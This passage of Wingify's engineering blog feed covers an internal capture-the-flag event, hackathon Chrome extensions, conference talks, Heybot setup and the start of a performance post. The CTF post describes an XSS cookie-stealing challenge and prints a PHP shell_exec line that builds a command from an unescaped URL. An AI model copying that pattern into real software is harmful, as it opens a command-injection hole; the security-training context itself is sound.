puzzle, and submitting it to the platform earns your team points. Flags are typically chosen to look very distinctive, so that when you see one, you’ll know that it’s a flag, and that you’ve solved the puzzle. For example, <code class="language-text">flag{congr4tz_y0u_found_1t}</code>. <img style="width: 80%;" src="/images/2017/05/ctf_pic.jpg"> <h3 id="preparation" style="position:relative;"><a href="#preparation" aria-label="preparation permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Preparation</h3> Sometime back, <a href="https://github.com/facebook/fbctf">Facebook open-sourced a platform</a> to host <a href="https://ctftime.org/ctf-wtf/">Jeopardy styled CTF competitions</a> and we couldn't resist ourselves from using it. It's simply amazing and sleek. It took around 2-3 weeks to prepare for the event and we had fun brainstorming creating the problem set. Creating the problems required thinking of some real world scenarios from the field of software development and security and combine them with references like Mr. Robot, Snowden, etc. A few ideas were taken from prior experience participating in online CTFs and <a href="http://overthewire.org/wargames/">Wargames</a>. <h3 id="event" style="position:relative;"><a href="#event" aria-label="event permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Event</h3> Wingify CTF was an internal event and very first of its type. Bonus points were offered for teaming up with someone from a non-engineering role. We saw some great participation from the customer support, customer success &#x26; marketing teams as well. To bring everyone on the same page, participants were asked to register for the event by solving a teaser. And the teaser was to find a flag in a registration form. You'd be surprised to hear that the form was made using Google Forms 😮. It was an 8-hour long online event which had 45 participants among 16 teams. There was a total of 12 challenges ranging between 40 and 400 based on the difficulty level with total available 1840 points. The set of challenges included problems in web application security and forensics. There was another teaser to be solved before starting off the real game. Early in the CTF, everyone was doing pretty well especially team Matrix and Hunters. In half of the time, quite a good number of hackers were already done with all the problems except the two most difficult ones. When the team Rootcon and Hustlers solved the challenge worth 400 points, they were the clear winners on everyone's mind. But as they say, it's not over till it's over. At the last-minute when team RSS captured that big flag and stood the first place, it was the same feeling like a dramatic last-minute goal in Football.👏 <h3 id="challenges" style="position:relative;"><a href="#challenges" aria-label="challenges permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Challenges</h3> I'd like to mention some of the interesting challenges. <ol> <li>XSS - When we talk about Frontend security, cross-site scripting is the first vulnerability that comes to everyone's mind. One of the challenges was to detect an XSS vulnerability and exploit it by stealing the cookies. The key challenge while creating this problem was using PhantomJS, a headless WebKit, to check whether the XSS payload got successfully triggered. <code class="language-text">shell_exec(&#39;phantomjs fake-browser.js --url&#39; . $url . &#39; --password &#39; . getenv(&#39;FLAG&#39;));</code></li> <li>S3 Secrets/Credentials - This problem was based on the fact that the credentials, such as Amazon S3 keys, Github tokens, and passwords, are <a href="https://news.ycombinator.com/item?id=13650818">often included in published GitHub repositories</a>. Once you have put sensitive data in a Git repository, it is going to stay in the repo's history forever (<a href="https://help.github.com/articles/removing-sensitive-data-from-a-repository/">there are ways to avoid this</a>).</li> <li>Encryption - One of my personal favorites was the problem requiring teams to calculate the MD5 of a given string. Sounds pretty straight, right? The challenge is right here in front of you. Can you capture the flag and send it to ctf@wingify.com? 😊</li> </ol> <h3 id="winners" style="position:relative;"><a href="#winners" aria-label="winners permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Winners</h3> <img style="width: 85%;" src="/images/2017/05/ctf_result.png"> <ol> <li>Team RSS - <a href="https://twitter.com/squiroid">Rachit Gulati</a>, <a href="https://in.linkedin.com/in/sahil-bathla-11a7815b">Sahil Batla</a>, and <a href="https://in.linkedin.com/in/sndpsngh">Sandeep Singh</a></li> <li>Team ROOTCON - <a href="https://twitter.com/gauravmuk">Gaurav Nanda</a>, <a href="https://twitter.com/akanshgulati">Aakansh Gulati</a>, and <a href="https://twitter.com/_ankitag_">Ankita Gupta</a></li> <li>Team HUSTLERS - <a href="https://in.linkedin.com/in/rahul-kumar-5676a020">Rahul Kumar</a>, <a href="https://twitter.com/arunsori">Arun Sori</a>, and <a href="https://twitter.com/dinkarpundir">Dinkar Pundir</a></li> </ol> Each participant from the top two teams was given <a href="https://en.wikipedia.org/wiki/YubiKey">Yubikey</a> and Bluetooth Speaker respectively. <a href="https://in.linkedin.com/in/chhavi-khandelwal-4587513b">Chhavi</a> and I were able to pull off the event successfully. It turned out to be great and everyone had fun hacking together. I would highly recommend doing something like this for your organization. This will surely increase the breadth of security knowledge. <h3 id="mini-ctf-external" style="position:relative;"><a href="#mini-ctf-external" aria-label="mini ctf external permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Mini CTF (External)</h3> Last week, Wingify hosted a <a href="https://meetup.com/PyDataDelhi/events/239902014/">PyData Meetup</a> and attendees played a quick round of CTF. You can find the pictures below. <div id="fifth-elephant-gallery"> <img src="/images/2017/05/ctf_meetup.jpg"> <img src="/images/2017/05/ctf_meetup2.jpg"> <img src="/images/2017/05/ctf_meetup3.jpg"> <img src="/images/2017/05/ctf_scoreboard.JPG"> <img src="/images/2017/05/ctf_prize1.jpg"> <img src="/images/2017/05/ctf_prize2.jpg"> </div> If you would like to practice for such events, you should definitely participate in the online CTFs. You can find the <a href="http://captf.com/practice-ctf/">list of long-running CTFs</a>. And if you like playing CTFs, we are hiring for <a href="https://wingify.recruiterbox.com/jobs/fk0m8cr/">Security Engineer position</a> 😍 🙂.</content:encoded><author>Dheeraj Joshi</author></item><item><title><![CDATA[Wingify Hackathon - Sum It Up]]></title><description><![CDATA[I am a frontend developer at Wingify and I am building a really awesome product, PushCrew. Last month, we had a hackathon. The idea was to…]]></description><link>https://engineering.wingify.com//posts/wingify-hackathon-sum-it-up/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/wingify-hackathon-sum-it-up/</guid><pubDate>Wed, 03 May 2017 00:00:00 GMT</pubDate><content:encoded>I am a frontend developer at Wingify and I am building a really awesome product, <a href="https://pushcrew.com/">PushCrew</a>. Last month, <a href="https://medium.com/@wingify/hacking-away-the-night-at-wingify-cbe33a39f28d">we had a hackathon</a>. The idea was to 'Solve Daily Problems', interesting right? 😃 <div class="post-info-box"> This post is a part of March'17 Hackathon Project series. Here are the other posts in the series: <ul> <li> <a href="/posts/wingify-hackathon-vwo-xray/"> VWO X-Ray </a> </li> </ul> </div> I am an avid reader and I read a lot of stuff on the web, but I often find myself copying parts of different articles and pasting in my notepad. I always thought that it would be a great idea to have all my summaries at single place. I wanted a platform that could show all the highlighted parts of the articles that I have liked without me having to juggle between different tabs. So instead of waiting for an app like this to be built, I went ahead and created a micro bookmarker at the hackathon. <div style="text-align:center; margin: 10px;"> <img src="/images/2017/05/jesus_meme.png" style="box-shadow: 1px 2px 10px 1px #aaa"> </div> My idea was simple, and I knew that I could build it alone. So I was a one-person team (Obviously me! 😛 ). <div style="text-align:center; margin: 10px;"> <img src="/images/2017/05/alone.png" style="box-shadow: 1px 2px 10px 1px #aaa"> </div> The idea was not just to build, but also to learn something new because that's the whole purpose of attending a hackathon, right? Since I had never built a Chrome extension before, I started reading about how to build an extension and took some guidance from our in-house <a href="https://twitter.com/chinchang457">frontend God, a.k.a chinchang</a> 😛 . I devoted some good chunk of time to decide my strategy for building the product. So, after spending an entire night on coke and pizzas, I was able to build a beautiful extension which was working, and solving, at least my problem of highlighting parts of articles that I liked on the web. I really hope it helps a lot of people (read: readers) as well. <a href="http://rachitgulati.com/sum-it-up/">Download</a> this awesome application now 🤘 . Here are a few glimpses of my hack. <div style="text-align:center; margin: 10px; box-shadow: 1px 2px 10px 1px #aaa"> <img src="/images/2017/05/sum_it_up_1.gif" alt="Sum It Up demo"> </div> <div style="text-align:center; margin: 30px 10px; box-shadow: 1px 2px 10px 1px #aaa"> <img src="/images/2017/05/sum_it_up_2.gif" alt="Another Sum It Up demo"> </div> Prohibited content (Only for geeks): As soon as the user selects some text on the page (HTML) and right clicks on it, (s)he is shown an option to 'Save to Sum it up' in the context menu. On clicking the option, Sum It Up saves the highlighted data (color, text, DOM node, page URL, timestamp etc.) in the JSON format to the local storage (so no breachment of privacy) inside the Chrome browser. The main challenge was to maintain the highlighter for the partial DOM selection which I have solved by putting the custom span tag to all the elements which reside in that selected area. Some features that you might find useful are: <ol> <li>(High) light it up.</li> <li>Collect your notes.</li> <li>Email them.</li> <li>Searching made easy.</li> <li>Tweet your note.</li> <li>Are you a markdown lover? Yes you can export in markdown too.</li> <li>Directly jump to the micro section of the website.</li> </ol> Sum It Up got featured on <a href="https://www.producthunt.com/posts/sum-it-up">Product Hunt</a> too! Yippee :) (My very first submission on Product Hunt and that too got featured, it's like Diwali Bonus 😀 ) PS: This is my first blog post so please be kind to me. I am open to any feedback 😀</content:encoded><author>Rachit</author></item><item><title><![CDATA[Wingify Hackathon - VWO X-Ray]]></title><description><![CDATA[Recently, Wingify had organised a 24-hour Internal Hackathon where the developers from Wingify created a lot of awesome projects for daily…]]></description><link>https://engineering.wingify.com//posts/wingify-hackathon-vwo-xray/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/wingify-hackathon-vwo-xray/</guid><pubDate>Sun, 02 Apr 2017 00:00:00 GMT</pubDate><content:encoded>Recently, Wingify had organised a 24-hour <a href="https://medium.com/@wingify/hacking-away-the-night-at-wingify-cbe33a39f28d">Internal Hackathon</a> where the developers from Wingify created a lot of awesome projects for daily use. The theme was "Solve Daily Problems". Be it a generic problem or an internal team problem, hackers from Wingify tried to solve many problems over the night. So, <a href="https://www.linkedin.com/in/pramoddutta/">Pramod Dutta</a> and I created a Google Chrome extension "VWO X-Ray" (one of the winners), which has proved to be helpful to our internal team. VWO X-Ray was created to easily debug the VWO SmartCode on a website. Whether it's a developer or a Customer Happiness Engineer or a client, they need some basic information about VWO running on a particular page. This Google Chrome extension enables the user to view the account ID, the running VWO campaigns and the cookies created by VWO on that page. The basic features of the extension are: <ol> <li>View account ID on the page and impersonate into it directly.</li> <li>The Home Tab will show all campaigns on the page and their information like whether campaigns are running, segmentations passed etc.</li> <li>Directly open a specific campaign, with a single click, into the VWO app.</li> <li>Directly copy the "Share report link" of the campaign and share it with anyone.</li> <li>View VWO cookies' information in a detailed and clear view.</li> <li>Notification feature when any campaign variation is applied on the page or any goal has been triggered.</li> <li>The Full Data Tab will give you a glimpse of the app dashboard. You can change the account ID to get any other account's data.</li> <li>The Session Data Tab will show current session's information (Track and Analyse), various campaigns' data and goals' data (which ones have been triggered and which ones have not been).</li> <li>The Impersonate Tab will enable you to impersonate into any account and campaign directly. Just enter the account ID and campaign ID(optional).</li> <li>This extension, by default, makes 100% sampling rate for Track and Analyse campaigns (most wanted feature for our QA team and Customer Happiness Engineers team).</li> </ol> Here are some screenshots of the VWO X-Ray extension running on our <a href="http://vwo.com">vwo.com</a> website: <div style="text-align:center; margin: 10px;"> <img src="/images/2017/04/vwo_xray_1.png" style="box-shadow: 1px 2px 10px 1px #aaa"> <div style="margin: 10px;">The various campaigns running on the page and their statuses</div> </div> <div style="text-align:center; margin: 10px;"> <img src="/images/2017/04/vwo_xray_2.png" style="box-shadow: 1px 2px 10px 1px #aaa"> <div style="margin: 10px;">A clear view of the session data information</div> </div> We will also be shortly releasing this to our clients, so that they too can get basic information just by using the extension. Here is the demo of VWO X-Ray: <div style="text-align:center; margin: 10px;"> <img src="/images/2017/04/vwo_xray_3.gif"> </div></content:encoded><author>Hemkaran Raghav</author></item><item><title><![CDATA[Wingify at Europe/UK Conferences]]></title><description><![CDATA[Last two months were quite amazing for me as a Wingifighter; I was on a traveling spree over Italy and London. I got an opportunity to…]]></description><link>https://engineering.wingify.com//posts/wingify-at-europe-uk-conferences/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/wingify-at-europe-uk-conferences/</guid><pubDate>Sun, 25 Dec 2016 00:00:00 GMT</pubDate><content:encoded>Last two months were quite amazing for me as a Wingifighter; I was on a traveling spree over Italy and London. I got an opportunity to attend and speak at various international conferences and meetups there, which gave me new insights on the importance of JavaScript and Security. It was a new experience for me as I got a chance to meet some great people and learn a lot from them. This post is about my learnings and overall experience representing Wingify and driving the concept of Web Security at various tech events. <img src="/images/2016/12/tshirts.jpg"> <h3 id="1-nodejs-conference-italy-22nd-october-2016" style="position:relative;"><a href="#1-nodejs-conference-italy-22nd-october-2016" aria-label="1 nodejs conference italy 22nd october 2016 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="http://nodejsconf.it/talk/lets-talk-security/">1) Node.js Conference, Italy (22nd October 2016)</a></h3> I attended my first International Conference which was held at a beautiful place – Desenzano del Garda, Italy. I was one of the speakers and I talked about <a href="http://nodejsconf.it/talk/lets-talk-security/">Node.js Security</a>. <img width="400" height="300px" src="/images/2016/12/nodeconfit.jpg"> The conference started with a keynote by Microsoft's Bryan Hughes ([@nebrius][11]) about the Node.js community and its evolution. He later introduced us to the Node.js foundation hierarchy and how it operates at various levels. Other speakers, too, touched various relevant and interesting topics including AsyncHooks, Load Balancing, and Deploying Node.js at scale. You can find more information at [http://nodejsconf.it/][18] Speaker dinners were a great platform where I got to interact and network with fellow speakers. I also met <a href="https://github.com/feross10">Feross</a> and I found him to be very humble and polite. He insisted on why fun side-projects are important and why you should keep doing them. And that’s why Wingify runs "Show n Tell" in which Wingifighters demonstrate and discuss any side projects that they are working on. I spent the rest of my time in Italy in traveling and had a wonderful experience. I fell in Love with Gelatos🍦. <h3 id="2-london-ajax-meetup-14th-november-2016" style="position:relative;"><a href="#2-london-ajax-meetup-14th-november-2016" aria-label="2 london ajax meetup 14th november 2016 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="https://www.meetup.com/halfstack/events/234651138/">2) London Ajax Meetup (14th November 2016)</a></h3> <img src="/images/2016/12/meetup.jpg"> This is a monthly meetup that happens in London. This time the focus of the [meetup][2] was JavaScript Security and Neural Networks. I got a really good response after my talk. The venue was Skills Matter Office where a couple of other meetups were going on simultaneously. I realized this when I went into another arena searching for food and none of the people seemed to recognize me. The other talk during the event was on "Classifying Numbers as Odd or Even With Neural Networks," by Matt Zeunert. It was quite informative. <h3 id="3-seleniumconf-uk-14th-16th-november-2016" style="position:relative;"><a href="#3-seleniumconf-uk-14th-16th-november-2016" aria-label="3 seleniumconf uk 14th 16th november 2016 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="http://2016.seleniumconf.co.uk/">3) SeleniumConf UK (14th-16th November 2016)</a></h3> <img width="700" height="350" src="/images/2016/12/seleniumconf.png"> [SeleniumConf][12] is an event focused on Web Testing and brings together Selenium developers and enthusiasts from around the world to share ideas, socialize, and work together on advancing the present and future success of the project. <img src="/images/2016/12/talk.jpg"> My talk in this conference was about Web Security and Efficient Penetration Testing. I gave a live demo of my recent finding (security vulnerability) in InVision. With the help of [Burp Suite][16] and [BeEf][15], I demonstrated how a malicious comment in Invision App can be used to control browser and steal information. You can read more about the vulnerability details I published in [Hackernoon][4]. Here are the links to the <a href="https://www.youtube.com/watch?v=csE5tp94wfw">video</a> and <a href="https://speakerdeck.com/djadmin/beyond-scanning">slides</a>. <h3 id="4-half-stack-conference-18th-november-2016" style="position:relative;"><a href="#4-half-stack-conference-18th-november-2016" aria-label="4 half stack conference 18th november 2016 permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a><a href="http://halfstackconf.com/">4) Half Stack Conference (18th November 2016)</a></h3> <img src="/images/2016/12/chris.jpg"> [HalfStack][17] is a one-day, single track, fun and unique JS conf in a pub 🍺. It was good to sit down and listen to [Christian Heilmann][3], [Remy Sharp][20] and [Dylan Schiemann][21]. There were a lot of other interesting talks at the conference. Video recording for all sessions are available [here][19]. After the conference, we went to another pub for a "JavaScript Pub Quiz." The following is an emoji mathematical example given by <a href="https://twitter.com/novemberborn">Mark Wubben</a> in his talk on Babel 🍺 + 🍺 = 🍻 🍻 + 🍻 = 😆 (🍻 * 🍻)^🍻 = 😵 <hr> #### To sum up I got to learn a lot from my travels. I would encourage everyone to follow and attend such conferences and events. <img width="400" height="300" src="/images/2016/12/swag.jpg"> <img width="400" height="300" src="/images/2016/12/node_swag.jpg"> You can keep an eye on the <a href="https://github.com/prigara/javascript-conferences#2017">list of FrontEnd Conferences for 2017</a> and follow Himanshu's <a href="https://twitter.com/himkp/lists/frontend-conferences">twitter list</a> to stay up-to-date. Happy Holidays! 🎄🎁</content:encoded><author>Dheeraj Joshi</author></item><item><title><![CDATA[Heybot! - Our skype bot]]></title><description><![CDATA[Few days back, we open-sourced our internal Skype bot to the world. Its called Heybot!, but we call it Ramukaka at Wingify :) Whether its…]]></description><link>https://engineering.wingify.com//posts/heybot-your-skype-bot/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/heybot-your-skype-bot/</guid><pubDate>Fri, 23 Dec 2016 00:00:00 GMT</pubDate><content:encoded>Few days back, we open-sourced our internal Skype bot to the world. Its called <a href="https://github.com/wingify/heybot">Heybot!</a>, but we call it Ramukaka at Wingify :) Whether its about running a jenkins build or getting a customer info from account ID, Ramukaka does it all for us. Heybot! gives you a simple framework to write commands that you can run, with provision of restricted access to some commands by power users only. Its written over <a href="https://dev.botframework.com/">Microsoft's bot framework</a>, designed to be extensible for any sort of task in small and large teams. Bot framework based bots work out of the box with Skype, but the same bots can act as a base for a Messenger, slack etc bot too. So if your team communication is on Skype (or even if you work alone) and regularly do some tasks which could be automated through a command, Heybot! can definitely prove useful for you. Lets see how you can quickly set it up for Skype. <h3 id="installing" style="position:relative;"><a href="#installing" aria-label="installing permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Installing</h3> Heybot! is written in NodeJS. To set it up on a server you need to clone the Github repository first: <div class="gatsby-highlight" data-language="shell"><pre class="language-shell"><code class="language-shell">git clone git@github.com:wingify/heybot.git</code></pre></div> and run <code class="language-text">npm install</code> in the repository folder to install all the required dependencies. <h3 id="setup" style="position:relative;"><a href="#setup" aria-label="setup permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Setup</h3> Before you can start using the bot on Skype, you need to create a bot and register it with Microsoft as an app. Create a Microsoft app as directed <a href="https://docs.botframework.com/en-us/csharp/builder/sdkreference/gettingstarted.html#registering">here</a>. When you register your bot, you'll have to give it a name of your choice that will be used in Skype chat to talk with it. Once you register the bot, you'll have an app ID and app Password with you. Go ahead and create a copy of the file <code class="language-text">creds.template.js</code> into <code class="language-text">creds.js</code> and replace the ID and password in it. If you don't want to store the ID and password in that readable file, you can have the same keys set as environment variables and Heybot will read from there. Note, that you still need to have a dummy <code class="language-text">creds.js</code> file. The bot framework requires the bot server to be running on a valid secure connection. Therefore, you'll need to provide the Heybot with your domain's SSL certificates (the .crt and .key files). Place them in the repository folder as <code class="language-text">ssl.cert</code> and <code class="language-text">ssl.key</code>. <h3 id="running-the-bot-server" style="position:relative;"><a href="#running-the-bot-server" aria-label="running the bot server permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Running the bot server</h3> Now that you have setup your bot, you can run the bot server by running the command <code class="language-text">npm start</code>. Similarly to stop it you can run <code class="language-text">npm stop</code>. <h3 id="adding-your-bot-on-skype" style="position:relative;"><a href="#adding-your-bot-on-skype" aria-label="adding your bot on skype permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Adding your bot on Skype</h3> The bot you setup would in most cases have commands that you use on day to day basis and it won't make sense to put such a bot publicly on the Microsoft bot marketplace. For this reason, you can keep you bot in preview mode - just available for you and anyone with the link to add the bot. Go to your bot's page from <a href="https://dev.botframework.com/bots">https://dev.botframework.com/bots</a>. Now click on the Add to Skype button to add it to your skype. <div style="text-align:center; margin: 10px;"> <img src="/images/2016/12/add-to-skype.png"> </div> Once you have added it your skype, you are all set to give it commands. Lets assume you gave your bot the name droid while registering. You can test your new bot by starting a conversation with it and saying anything. If it replies with a Hello message, its working perfectly. You can then try out pre-loaded commands such as <code class="language-text">!bored</code>, <code class="language-text">!sad</code>, <code class="language-text">!bitcoin</code> etc. If you add the bot to a group chat, you can give it command by simply mentioning its name before the command's usual syntax. Eg. <code class="language-text">@Droid !bored</code>. <div style="text-align:center; margin: 10px;"> <img src="/images/2016/12/chatscreen.png"> </div> There you go! Build your own commands and automate your daily boring tasks with Heybot! And do <a href="https://github.com/wingify/heybot/issues">tell us on Github</a> about any feature request, suggestion or any cool command that you made for Heybot!</content:encoded><author>Kushagra Gour</author></item><item><title><![CDATA[Speeding Up VWO]]></title><description><![CDATA[About two years ago, Wingify had introduced the new generation of our Visual Website Optimizer to the world. Boasting a modern visual…]]></description><link>https://engineering.wingify.com//posts/speeding-up-vwo/</link><guid isPermaLink="false">https://engineering.wingify.com//posts/speeding-up-vwo/</guid><pubDate>Sat, 17 Sep 2016 00:00:00 GMT</pubDate><content:encoded>About two years ago, Wingify had introduced the <a href="https://vwo.com/blog/launching-new-vwo/">new generation of our Visual Website Optimizer</a> to the world. Boasting a modern visual interface, it also had many new features. We’ve come a long way since then. We’ve added even more features to it while improving the previous ones. But with continuous development, it becomes imperative to keep the app lean and fast as well. New features, unless proactively attended to, usually make apps slower. This effect is especially prominent in SPAs(Single Page Applications) which have to be downloaded first on the browser before they can execute. Thus, performance management is an iterative and continuous process. This post is largely a collection of our learnings and implementations done on/to our app to keep it lean and slick. There are several types of performances when it comes to modern web applications. This blog post chiefly deals with our efforts in improving the app load time. This was also the first phase of the plan since the first things users notice is how soon can they start using the app. <h3 